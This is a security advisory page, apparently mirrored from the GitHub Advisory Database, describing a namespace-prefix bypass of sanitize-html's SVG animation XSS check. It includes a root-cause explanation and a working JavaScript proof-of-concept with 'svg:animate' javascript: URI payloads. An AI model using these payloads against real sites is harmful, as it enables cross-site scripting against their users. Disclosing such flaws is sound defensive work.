LOWCVSS v3.1 3.7Vulnerability

CVE-2026-113657

## Summary sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`). ## Root Cause The `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `["animate", "animatecolor", "animatemotion", "animatetransform", "set"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection. Ironically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(":") + 1)` — but this same stripping was not applied to the tag name itself. ## Proof of Concept ```javascript const sanitizeHtml = require("sanitize-html"); const config = { allowedTags: false, allowedAttributes: false, allowedSchemes: ["http", "https"] }; // Standard animate — BLOCKED by 2.17.7 fix const blocked = sanitizeHtml( `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`, config ); console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED"); // Output: BLOCKED // Namespace-prefixed animate — BYPASSES the fix const bypassed = sanitizeHtml( `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`, config ); console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED"); // Output: BYPASS ``` All 5 SMIL animation elements are bypassable with a

Properties

Severity
low
Summary
ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)
Nvd fetched at
2026-10-20T21:14:08.448323+00:00
Cvss severity
LOW
Cvss score
3.7
Retrieved at
2026-10-21T01:23:59+00:00
Ghsa published
2026-10-20T18:21:19Z
Source url
https://github.com/advisories/GHSA-374f-7chj-9948
Ghsa updated
2026-10-20T18:21:20Z
Ghsa id
GHSA-374f-7chj-9948
Last source
GitHub Advisory Database
Score
3.7
Cvss version
3.1
Cve id
CVE-2026-113657
Cvss vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
First seen by Signal
2026-10-20T21:15:35+00:00
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
Published at
2026-10-20T17:17:36.780
Last modified
2026-10-20T19:53:10.247

Related Entities (3)

AFFECTS (1)

→[Software]npm/sanitize-html

VULNERABLE_TO (1)

←[Software]npm/sanitize-html

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-113657 (CVSS v3.1 3.7) — Ninja Signal Threat Intelligence | Ninja Signal